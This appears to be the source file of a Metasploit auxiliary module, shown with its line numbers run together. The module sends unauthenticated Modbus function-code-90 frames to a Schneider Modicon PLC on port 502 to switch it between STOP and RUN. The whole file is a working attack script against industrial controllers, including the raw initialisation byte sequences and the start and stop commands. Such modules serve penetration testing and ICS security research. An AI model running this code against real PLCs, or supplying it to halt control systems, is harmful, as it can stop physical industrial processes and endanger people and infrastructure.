Path: blob/master/modules/auxiliary/admin/scada/modicon_command.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Schneider Modicon Remote START/STOP Command',14'Description' => %q{15The Schneider Modicon with Unity series of PLCs use Modbus function16code 90 (0x5a) to perform administrative commands without authentication.17This module allows a remote user to change the state of the PLC between18STOP and RUN, allowing an attacker to end process control by the PLC.1920This module is based on the original 'modiconstop.rb' Basecamp module from21DigitalBond.22},23'Author' => [24'K. Reid Wightman <wightman[at]digitalbond.com>', # original module25'todb' # Metasploit fixups26],27'License' => MSF_LICENSE,28'References' => [29[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]30],31'DisclosureDate' => '2012-04-05',32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [IOC_IN_LOGS],35'Reliability' => []36}37)38)39register_options(40[41OptEnum.new('MODE', [42true, 'PLC command', 'STOP',43[44'STOP',45'RUN'46]47]),48Opt::RPORT(502)49]50)51end5253# this is used for building a Modbus frame54# just prepends the payload with a modbus header55def makeframe(packetdata)56if packetdata.size > 25557print_error('packet too large, sorry')58print_error('Offending packet: ' + packetdata)59return60end61payload = ''62payload += [@modbuscounter].pack('n')63payload += "\x00\x00\x00" # dunno what these are64payload += [packetdata.size].pack('c') # size byte65payload + packetdata66end6768# a wrapper just to be sure we increment the counter69def sendframe(payload)70sock.put(payload)71@modbuscounter += 172r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?73return r74end7576# This function sends some initialization requests77# I have no idea what these do, but they seem to be78# needed to get the Modicon chatty with us.79# I would make some analogy to 'gaming' in the80# bar-dating scene, but I'll refrain.81def init82payload = "\x00\x5a\x00\x02"83sendframe(makeframe(payload))84payload = "\x00\x5a\x00\x01\x00"85sendframe(makeframe(payload))86payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf987sendframe(makeframe(payload))88payload = "\x00\x5a\x00\x03\x00"89sendframe(makeframe(payload))90payload = "\x00\x5a\x00\x03\x04"91sendframe(makeframe(payload))92payload = "\x00\x5a\x00\x04"93sendframe(makeframe(payload))94payload = "\x00\x5a\x00\x01\x00"95sendframe(makeframe(payload))96payload = "\x00\x5a\x00\x0a\x00"97(0..0xf9).each { |x| payload += [x].pack('c') }98sendframe(makeframe(payload))99payload = "\x00\x5a\x00\x04"100sendframe(makeframe(payload))101payload = "\x00\x5a\x00\x04"102sendframe(makeframe(payload))103payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"104sendframe(makeframe(payload))105payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"106sendframe(makeframe(payload))107payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"108sendframe(makeframe(payload))109payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"110sendframe(makeframe(payload))111payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"112sendframe(makeframe(payload))113payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"114sendframe(makeframe(payload))115payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"116sendframe(makeframe(payload))117payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"118sendframe(makeframe(payload))119payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"120sendframe(makeframe(payload))121payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"122sendframe(makeframe(payload))123payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"124sendframe(makeframe(payload))125payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"126sendframe(makeframe(payload))127payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"128payload += 'USER-714E74F21B' # Yep, really129# payload += "META-SPLOITMETA"130sendframe(makeframe(payload))131payload = "\x00\x5a\x01\x04"132sendframe(makeframe(payload))133payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"134sendframe(makeframe(payload))135payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"136sendframe(makeframe(payload))137payload = "\x00\x5a\x01\x12"138sendframe(makeframe(payload))139payload = "\x00\x5a\x01\x04"140sendframe(makeframe(payload))141payload = "\x00\x5a\x01\x12"142sendframe(makeframe(payload))143payload = "\x00\x5a\x01\x04"144sendframe(makeframe(payload))145payload = "\x00\x5a\x00\x02"146sendframe(makeframe(payload))147payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"148sendframe(makeframe(payload))149payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"150sendframe(makeframe(payload))151payload = "\x00\x5a\x01\x04"152sendframe(makeframe(payload))153payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"154sendframe(makeframe(payload))155end156157def stop158payload = "\x00\x5a\x01\x41\xff\x00"159sendframe(makeframe(payload))160payload = "\x00\x5a\x01\x04"161sendframe(makeframe(payload))162end163164def start165payload = "\x00\x5a\x01\x40\xff\x00"166sendframe(makeframe(payload))167payload = "\x00\x5a\x01\x04"168sendframe(makeframe(payload))169end170171def run172@modbuscounter = 0x0000 # used for modbus frames173connect174init175case datastore['MODE']176when 'STOP'177stop178when 'RUN'179start180else181print_error('Invalid MODE')182return183end184end185end186187188